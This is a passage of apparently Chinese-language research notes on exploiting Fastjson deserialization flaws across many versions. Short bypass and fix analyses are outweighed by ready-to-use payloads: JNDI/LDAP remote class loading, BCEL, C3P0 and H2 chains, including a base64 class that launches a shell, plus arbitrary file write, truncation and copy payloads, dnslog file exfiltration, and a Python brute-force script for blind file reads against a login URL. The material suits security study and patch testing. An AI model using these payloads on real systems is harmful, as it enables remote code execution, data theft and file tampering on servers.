`URLClassLoader` 加载时会把点号换成斜杠再去找资源。对 `localhost` 没问题,但如果写成 `127.0.0.1` 这种 IP,地址就会被破坏。
常见做法是进制转换,SSRF 绕过里也常用:
比如把 `127.0.0.1` 转成十进制 `2130706433`
```latex
#10进制
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1
```
### fd 利用脚本
支持 `jar:http` 利用和 fd 爆破,支持回显马、内存马。内存马依赖 MemShellParty,需要先把该项目的 Web 服务开起来,并在脚本里指定 API 地址。
[https://github.com/1diot9/MyJavaSecStudy/blob/main/fastjson/fastjson/fastj-1.2.83/cve-2026-16723/poc\_fd\_cache\_writefile.py](https://github.com/1diot9/MyJavaSecStudy/blob/main/fastjson/fastjson/fastj-1.2.83/cve-2026-16723/poc_fd_cache_writefile.py)
![](https://i.im.ge/QMVvmzJ/p2m-b91b04e251.png)
![](https://i.im.ge/QMVvNmS/p2m-81678a0fe5.png)
![](https://i.im.ge/QMVv6Oy/p2m-6b84923f6f.png)
![](https://imglink.cc/cdn/17jBHmzAAI.png)
配套 docker 靶场:
[https://github.com/1diot9/MyJavaSecStudy/tree/main/fastjson/fastjson/fastj-1.2.83/cve-2026-16723](https://github.com/1diot9/MyJavaSecStudy/tree/main/fastjson/fastjson/fastj-1.2.83/cve-2026-16723)
# 1.2.47
## 绕过分析
`@type``java.lang.Class` 时,走 MiscCodec 反序列化,并通过 `TypeUtils.loadClass` 把类放进缓存 map。
之后在 `checkAutoType` 里会先从缓存 map 取,从而绕过。
![](https://i.im.ge/QMVvyo6/p2m-3f9e08748c.png)
![](https://i.im.ge/QMVvPWz/p2m-a1de8f50fc.png)
![](https://i.im.ge/QMVvCYK/p2m-14abc80221.png)
## 修复分析
默认不缓存:
![](https://i.im.ge/QMVvAhF/p2m-d683a2154f.png)
## JdbcRowSetImpl
```json
{
"x1": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"x2": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Exploit",
"autoCommit": true
}
}
```
## BCEL
jdk <= 8u251
需要dbcp依赖,一种是tomcat-dbcp,一种是commons-dbcp
bcel字符生成:
```java
JavaClass javaClass = Repository.lookupClass(Evil.class);
String encode = Utility.encode(javaClass.getBytes(), true);
String bcel = "$$BCEL$$" + encode;
```
org.apache.tomcat.dbcp.dbcp.BasicDataSource tomcat-dbcp <= 7.0.109
```json
{
"name": {
"@type": "java.lang.Class",
"val": "org.apache.tomcat.dbcp.dbcp.BasicDataSource"
},
"x1": {
"name": {
"@type": "java.lang.Class",
"val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"x2": {
"@type": "com.alibaba.fastjson.JSONObject",
"x3": {
"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "[bcelCode]",
"$ref": "$.x1.x2.x3.connection"
}
}
}
}
```
org.apache.tomcat.dbcp.dbcp2.BasicDataSource tomcat-dbcp-8.0.0-RC1 <= tomcat-dbcp <= 10.1.0-M2
```json
{
"name": {
"@type": "java.lang.Class",
"val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
},
"x1": {
"name": {
"@type": "java.lang.Class",
"val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"x2": {
"@type": "com.alibaba.fastjson.JSONObject",
"x3": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "[bcelCode]",
"$ref": "$.x1.x2.x3.connection"
}
}
}
}
```
org.apache.commons.dbcp.BasicDataSource commons-dbcp <= 1.4
```json
{
"name": {
"@type": "java.lang.Class",
"val": "org.apache.commons.dbcp.BasicDataSource"
},
"x1": {
"name": {
"@type": "java.lang.Class",
"val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"x2": {
"@type": "com.alibaba.fastjson.JSONObject",
"x3": {
"@type": "org.apache.commons.dbcp.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "[bcelCode]",
"$ref": "$.x1.x2.x3.connection"
}
}
}
}
```
org.apache.commons.dbcp2.BasicDataSource commons-dbcp2 <= 2.13.0
```json
{
"name": {
"@type": "java.lang.Class",
"val": "org.apache.commons.dbcp2.BasicDataSource"
},
"x1": {
"name": {
"@type": "java.lang.Class",
"val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"x2": {
"@type": "com.alibaba.fastjson.JSONObject",
"x3": {
"@type": "org.apache.commons.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "[bcelCode]",
"$ref": "$.x1.x2.x3.connection"
}
}
}
}
```
## C3P0
c3p0字符转换:
```java
byte[] bytes = Files.readAllBytes(Paths.get("D:/1tmp/cc5.bin"));
String hex = toHexAscii(bytes);
String payload = "HexAsciiSerializedMap:" + hex + ";";
public static String toHexAscii(byte[] bytes)
{
int len = bytes.length;
StringWriter sw = new StringWriter(len * 2);
for (int i = 0; i < len; ++i)
addHexAscii(bytes[i], sw);
return sw.toString();
}
static void addHexAscii(byte b, StringWriter sw)
{
int ub = b & 0xff;
int h1 = ub / 16;
int h2 = ub % 16;
sw.write(toHexDigit(h1));
sw.write(toHexDigit(h2));
}
private static char toHexDigit(int h)
{
char out;
if (h <= 9) out = (char) (h + 0x30);
else out = (char) (h + 0x37);
//System.err.println(h + ": " + out);
return out;
}
```
```json
{
"x1": {
"@type": "java.lang.Class",
"val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
},
"x2": {
"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString": "[code]"
}
}
```
## mybatis
mybatis 也有 BCEL 加载效果:
```json
{
"x": {
"xxx": {
"@type": "java.lang.Class",
"val": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource"
},
"c": {
"@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource"
},
"www": {
"@type": "java.lang.Class",
"val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
{
"@type": "com.alibaba.fastjson.JSONObject",
"c": {
"@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource"
},
"c": {
"@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driver": "【bcelCode】"
}
}:{}
}
}
```
## H2Jdbc
com.h2database:h2 <= 2.2.224
```json
{
"x1": {
"@type": "java.lang.Class",
"val": "org.h2.jdbcx.JdbcDataSource"
},
"x2": {
"@type": "com.alibaba.fastjson.JSONObject",
"c": {
"@type": "org.h2.jdbcx.JdbcDataSource",
"url": "jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\;CREATE ALIAS EXEC AS 'void exec() throws java.io.IOException { try { byte[] b = java.util.Base64.getDecoder().decode(\"yv66vgAAADIAQAEAWm9yZy9hcGFjaGUvc2hpcm8vY295b3RlL2Rlc2VyaWFsaXphdGlvbi9pbXBsL1Byb3BlcnR5VmFsdWU0NWNjYzQ5NzBmZjI0MWYwYmYzZTBjY2U4NDY1MjU5ZQcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAARiYXNlAQASTGphdmEvbGFuZy9TdHJpbmc7AQADc2VwAQADY21kAQAGPGluaXQ+AQADKClWAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcACwwACQAKCgAEAA0BAAdvcy5uYW1lCAAPAQAQamF2YS9sYW5nL1N5c3RlbQcAEQEAC2dldFByb3BlcnR5AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsMABMAFAoAEgAVAQAQamF2YS9sYW5nL1N0cmluZwcAFwEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsMABkAGgoAGAAbAQADd2luCAAdAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAB8AIAoAGAAhAQAHY21kLmV4ZQgAIwwABQAGCQACACUBAAIvYwgAJwwABwAGCQACACkBAAcvYmluL3NoCAArAQACLWMIAC0MAAgABgkAAgAvAQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyBwAxAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgwACQAzCgAyADQBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwwANgA3CgAyADgBAAg8Y2xpbml0PgEABGNhbGMIADsKAAIADQEABENvZGUBAA1TdGFja01hcFRhYmxlACEAAgAEAAAAAwAJAAUABgAAAAkABwAGAAAACQAIAAYAAAACAAEACQAKAAEAPgAAAIQABAACAAAAUyq3AA4SELgAFrYAHBIetgAimQAQEiSzACYSKLMAKqcADRIsswAmEi6zACoGvQAYWQOyACZTWQSyACpTWQWyADBTTLsAMlkrtwA1tgA5V6cABEyxAAEABABOAFEADAABAD8AAAAXAAT/ACEAAQcAAgAACWUHAAz8AAAHAAQACAA6AAoAAQA+AAAAGgACAAAAAAAOEjyzADC7AAJZtwA9V7EAAAAAAAA=\")\\; java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class)\\; method.setAccessible(true)\\; Class c = (Class) method.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length)\\; c.newInstance()\\; } catch (Exception e){ }}'\\;CALL EXEC ()\\;"
}
},
"x3": {
"$ref": "$.x2.c.connection"
}
}
```
# 1.2.48 ~ 1.2.67
以下都需要开启 AutoType,实战能打到的概率偏低。
## <=1.2.60
`commons-configuration-1.10`,且 AutoType enable
```
ParserConfig.getGlobalInstance().setAutoTypeSupport(true)
<dependency>
<groupId>commons-configuration</groupId>
<artifactId>commons-configuration</artifactId>
<version>1.10</version>
</dependency>
{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://10.30.1.214:1389/msy62c"}
```
## <=1.2.61
AutoType enable
```xml
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-configuration2</artifactId>
<version>2.8.0</version>
</dependency>
{"@type":"org.apache.commons.configuration2.JNDIConfiguration","prefix":"ldap://10.30.1.214:1389/msy62c"}
```
## <=1.2.67
条件:开启 AutoType,存在 Shiro(不限版本)即可通杀
```xml
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.5.2</version>
</dependency>
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.0.107:1389/y0drfh","instance":{"$ref":"$.instance"}}
```
# 1.2.36 ~ 1.2.62
存在拒绝服务,无其他条件,可变相用于黑盒版本探测:
```json
{"regex":{"$ref":"$[blue rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']"},"blue":"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"}
{"regex":{"$ref":"$[\blue = /\^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$/]"},"blue":"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"}
```
# 1.2.68
## 绕过分析
这里靠 expectClass 绕过,也就是找 `java.lang.AutoCloseable` 的实现类。
设置 `@type` 且进入 `JavaBeanDeserializer` 时,会把第一个 `@type` 当 expectClass,再去检查下一个 `@type`,从而绕过:
![](https://i.im.ge/QMVvEB9/p2m-02c1a0b04e.png)
![](https://i.im.ge/QMVvg1M/p2m-f84043336b.png)
![](https://i.im.ge/QMVvbHh/p2m-de2d1954de.png)
## 修复分析
`AutoCloseable` 进黑名单,不再作为 expectClass
![](https://i.im.ge/QMVv8mY/p2m-6a537f7837.png)
## JDK11 任意写 / 文件清空
### 任意写
```json
{
"@type": "java.lang.AutoCloseable",
"@type": "sun.rmi.server.MarshalOutputStream",
"out": {
"@type": "java.util.zip.InflaterOutputStream",
"out": {
"@type": "java.io.FileOutputStream",
"file": "${file}",
"append": false
},
"infl": {
"input": {
"array": "${array}",
"limit": ${limit}
}
},
"bufLen": "100"
},
"protocolVersion": 1
}
```
Fastjson 在类没有无参构造时,如果其他构造函数带有符号信息,也是可以调用的。
标准 `javac` 编译过程中,源码里的变量名 / 参数名可能会被丢掉或混淆,变成无意义占位符。反编译时经常看到 `arg0`、`var0`,就是这个原因。「符号信息」指的是编译器把 `name`、`age` 这类字符串留在字节码的 `LocalVariableTable` 里。
可以用下面命令检查;如果有 `LocalVariableTable` 输出,说明该类字节码里的函数参数还带着参数名:
```bash
javap -l <class_name> | grep LocalVariableTable
```
### 文件清空
```json
{
"@type":"java.lang.AutoCloseable",
"@type":"java.io.FileOutputStream",
"file":"/tmp/123",
"append":false
}
{
"@type": "java.lang.AutoCloseable",
"@type": "java.io.FileWriter",
"file": "/tmp/nonexist",
"append": "false"
}
```
## 文件复制
需要aspectjtools依赖
```json
{
"@type":"java.lang.AutoCloseable",
"@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream",
"targetPath":"/x/x/web/nonexist.txt",
"tempPath":"/etc/hosts"
}
```
## commons-io 利用
这里io1-io6,主要参考的是珂技知识分析公众号里的文章: [https://mp.weixin.qq.com/s/n8RW0NIllcQ0sn3nI9uceA](https://mp.weixin.qq.com/s/n8RW0NIllcQ0sn3nI9uceA)
### commons-io 版本差异
[http://www.bmth666.cn/2025/12/30/Fastjson-commons-io%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%86%99/](http://www.bmth666.cn/2025/12/30/Fastjson-commons-io任意文件读写/)
![](https://i.im.ge/QMVvRZD/p2m-7406c454d4.png)
需要按不同版本依赖,改对应参数名。
当 io < 2.5 时,按系统不同,可能会走到 `WriterOutputStream` 里带 `decoder` 的构造;这时 decoder 只能设成 `com.alibaba.fastjson.util.UTF8Decoder`,导致没法写二进制。这个问题在 \[[https://github.com/cwkiller/Java-Puzzle/tree/main/Fastjson%20Decoder\]](https://github.com/cwkiller/Java-Puzzle/tree/main/Fastjson%20Decoder])([https://github.com/cwkiller/Java-Puzzle/tree/main/Fastjson](https://github.com/cwkiller/Java-Puzzle/tree/main/Fastjson) Decoder) 里也出现过。
### io 读文件 / 目录
由浅蓝对 BlackHat 上的链做了优化。
[https://b1ue.cn/archives/506.html](https://b1ue.cn/archives/506.html) 文章里设了具体场景,对应下面三种 payload。
读取错误时返回 null,要结合原本就有回显的点来用:
```json
{
"abc":{"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": { "@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///tmp/"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},"boms": [
{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
...
]
}
]
},
"address" : {"$ref":"$.abc.BOM"}
}
```
报错读:正确时报错,错误时不报错。这个用得更多一点。
```json
{
"abc":{"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": { "@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///tmp/test"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},"boms": [
{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
98
]
}
]
},
"address" : {"@type": "java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":
{"@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},"start": 0,"end": 0}
}
```
DNS 读:错误时有 DNS 请求,正确时没有。
```json
{
"abc":{"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": { "@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///tmp/test"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},"boms": [
{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
98
]
}
]
},
"address" : {"@type": "java.lang.AutoCloseable","@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence": {"@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},"start": 0,"end": 0},
"xxx": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "http://aaaxasd.g2pbiw.dnslog.cn/"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{"@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [1]}]
},
"zzz":{"$ref":"$.xxx.BOM[0]"}
}
```
配套python脚本:
```python
import requests
url = "http://192.168.1.101/login"
#码表可按照实际修改,例如探测jdk目录一般文件名为小写
#asciis = [10,32,45,46,47,48,49,50,51,52,53,54,55,56,57,91,92,95,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122] #针对linux下正常文件夹或文件读取,去除了一些文件名下不常见的字符,且全为小写
asciis = [10,32,45,46,47,48,49,50,51,52,53,54,55,56,57,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,95,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122] #针对linux下正常文件夹或文件读取,去除了一些文件名下不常见的字符,且包含大小写
# asciis = [10,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126] #所有可见字符
data1 = """
{
"abc": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///usr/local/tomcat/" # 修改这个进行列目录
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [
{
"charsetName": "UTF-8",
"bytes": [
"""
data2 = """
]
}
]
},
"address": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.CharSequenceReader",
"charSequence": {
"@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},
"start": 0,
"end": 0
}
}
}
"""
proxies = {
'http': '127.0.0.1:8080',
}
header = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36",
"Content-Type": "application/json; charset=utf-8"
}
def byte2str(bytes):
file_str = ""
for i in file_byte:
file_str += chr(int(i))
print("【" + file_str + "】")
file_byte = []
for i in range(0,50): # 需要读取多长自己定义,但一次性不要太长,建议分多次读取
for i in asciis:
file_byte.append(str(i))
req = requests.post(url=url,data=data1+','.join(file_byte)+data2,headers=header)
text = req.text
if "charSequence" not in text:
file_byte.pop()
byte2str(file_byte)
print(file_byte)
```
### io1 / io2 写文件(编码后支持二进制)
[https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg](https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg)
只能写 8kb 整的文件;写二进制时必须做 iso-8859-1 编码;目录必须已存在。
这里走的是 `XmlStreamReader` 构造触发 `getBOM`;ioFinal 会改良成直接通过 `BOMInputStream.getBOM` 触发。`FileWriterWithEncoding` 也会换成 `LockableFileWriter`,从而能自动创建目录。
commons-io 2.0 - 2.6
```json
{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""${content}"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"${path}",
"encoding":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}
}
```
commons-io 2.7 - 2.8.0
```json
{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)",
"start":0,
"end":2147483647
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"/tmp/pwned",
"charsetName":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}
```
#### 解析特性
payload 里有一段 JSON 比较特殊:
```json
"charSequence":{"@type":"java.lang.String""aaaaaa"
```
第一个特殊点:为什么不直接写:
```json
"charSequence": "aaa"
```
这里报错,是因为 Fastjson 把 `charSequence` 当接口,默认按 Java Bean 处理;而 `"aaa"` 会被当成基础字符串,类型对不上。
第二个特殊点:为什么能直接在 String 后面写 `"aaaa"`。
上面报错后,我先把 payload 改成了:
```json
"charSequence":{"@type":"java.lang.String", "original":"aaaaaa"}
```
![](https://i.im.ge/QMVvKhC/p2m-afc9a5fd7d.png)
想调 String 的构造,还是报错。
换成正确 payload 跟进调试,最终发现是在这里截取:
![](https://i.im.ge/QMVvZo4/p2m-85def2ba16.png)
然后在 `StringCodec` 里正式取出:
![](https://i.im.ge/QMVvzaP/p2m-1a0093b365.png)
调试里还发现:String 后面不能跟逗号,不然一定报错。跟了逗号,token 就会是逗号,`StringCodec` 就会走进上图断点那行,最后掉进 `switch default` 报错。
第三个特殊点:为什么最后少了一个 `}` 闭合,还能解析成功?
当时我也困惑,后来对照解析逻辑看了一下:
![](https://i.im.ge/QMVvfBp/p2m-d796ad9c1a.png)
![](https://i.im.ge/QMVvVbq/p2m-2b67e77a94.png)
总的来说,记住有这么一种写法即可。
### io3 写文件(≈ io1 / io2
su18 发现的类似 io1 的链,和 io1 基本一样: [https://su18.org/post/fastjson-1.2.68/](https://su18.org/post/fastjson-1.2.68/)
### io4 写文件(支持二进制)
需要 `commons-io-2.2`、`aspectjtools-1.9.6`、`commons-codec-1.6`。只能写 8kb 整,二进制写入正常。
于 BlackHat 公开:
[https://i.blackhat.com/USA21/Wednesday-Handouts/US-21-Xing-How-I-Used-a-JSON.pdf](https://i.blackhat.com/USA21/Wednesday-Handouts/US-21-Xing-How-I-Used-a-JSON.pdf)
[https://yanghaoi.github.io/2024/08/18/fastjson-lou-dong-chang-jian-wa-jue-he-li-yong-fang-fa/#toc-heading-32](https://yanghaoi.github.io/2024/08/18/fastjson-lou-dong-chang-jian-wa-jue-he-li-yong-fang-fa/#toc-heading-32)
```java
// commons-io-2.2 aspectjtools-1.9.6 commons-codec-1.6
public static void writeIo4() throws IOException {
String json = "{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\":\"org.apache.commons.io.input.BOMInputStream\",\n" +
" \"delegate\":{\n" +
" \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
" \"input\":{\n" +
" \"@type\": \"org.apache.commons.codec.binary.Base64InputStream\",\n" +
" \"in\":{\n" +
" \"@type\":\"org.apache.commons.io.input.CharSequenceInputStream\",\n" +
" \"charset\":\"utf-8\",\n" +
" \"bufferSize\": 1024,\n" +
" \"cs\":{\"@type\":\"java.lang.String\"\"%1$s\"\n" +
" },\n" +
" \"doEncode\":false,\n" +
" \"lineLength\":1024,\n" +
" \"lineSeparator\":\"5ZWKCg==\",\n" +
" \"decodingPolicy\":0\n" +
" },\n" +
" \"branch\":{\n" +
" \"@type\":\"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\n" +
" \"targetPath\":\"%2$s\",\n" +
" \"append\":false,\n" +
" \"alwaysCreate\":true\n" +
" },\n" +
" \"closeBranch\":false\n" +
" },\n" +
" \"include\":true,\n" +
" \"boms\":[{\n" +
" \"@type\": \"org.apache.commons.io.ByteOrderMark\",\n" +
" \"charsetName\": \"UTF-8\",\n" +
" \"bytes\":%3$s\n" +
" }],\n" +
" \"x\":{\"$ref\":\"$.bOM\"}\n" +
"}";
// 要写入的文件
byte[] bytes = Files.readAllBytes(Paths.get("D:/flag.txt"));
//写文本时要填充数据
String content = new String(bytes, StandardCharsets.UTF_8);
for (int i=0; i<8192; i++){
content = content + "a";
}
byte[] bytesPadding = content.getBytes();
String base64Content = Base64.getEncoder().encodeToString(bytesPadding);
String path = "D:/1tmp/111.txt";
String format = String.format(json, base64Content, path, Arrays.toString(bytesPadding));
JSON.parse(format);
}
```
### io5 写文件 / 创建目录(io4 换依赖,能写任意大小文件)
在 io4 基础上,用 ant 依赖代替 aspectjtools。可以写 8kb 以上二进制;`LockableFileWriter` 还能创建目录。
[https://mp.weixin.qq.com/s/WbYi7lPEvFg-vAUB4Nlvew](https://mp.weixin.qq.com/s/WbYi7lPEvFg-vAUB4Nlvew)
目录创建:
```json
{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.LockableFileWriter",
"file":"/etc/passwd", //一个存在的文件
"encoding":"UTF-8",
"append": true,
"lockDir":"/usr/lib/jvm/java-8-openjdk-amd64/jre/classes" //要创建的目录
},
"charset":"UTF-8",
"bufferSize": 8193,
"writeImmediately": true
}
```
任意文件写入:
```java
public static void writeIo5() throws IOException {
String json = "{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\":\"org.apache.commons.io.input.BOMInputStream\",\n" +
" \"delegate\":{\n" +
" \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
" \"input\":{\n" +
" \"@type\": \"org.apache.commons.codec.binary.Base64InputStream\",\n" +
" \"in\":{\n" +
" \"@type\":\"org.apache.commons.io.input.CharSequenceInputStream\",\n" +
" \"charset\":\"utf-8\",\n" +
" \"bufferSize\": 1024,\n" +
" \"cs\":{\"@type\":\"java.lang.String\"\"%1$s\"\n" +
" },\n" +
" \"doEncode\":false,\n" +
" \"lineLength\":1024,\n" +
" \"lineSeparator\":\"5ZWKCg==\",\n" +
" \"decodingPolicy\":0\n" +
" },\n" +
" \"branch\":{\n" +
//" \"@type\":\"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\n" +
//" \"targetPath\":\"%2$s\"\n" +
" \"@type\":\"org.apache.tools.ant.util.LazyFileOutputStream\",\n" +
" \"file\":\"%2$s\",\n" +
" \"append\":false,\n" +
" \"alwaysCreate\":true\n" +
" },\n" +
" \"closeBranch\":false\n" +
" },\n" +
" \"include\":true,\n" +
" \"boms\":[{\n" +
" \"@type\": \"org.apache.commons.io.ByteOrderMark\",\n" +
" \"charsetName\": \"UTF-8\",\n" +
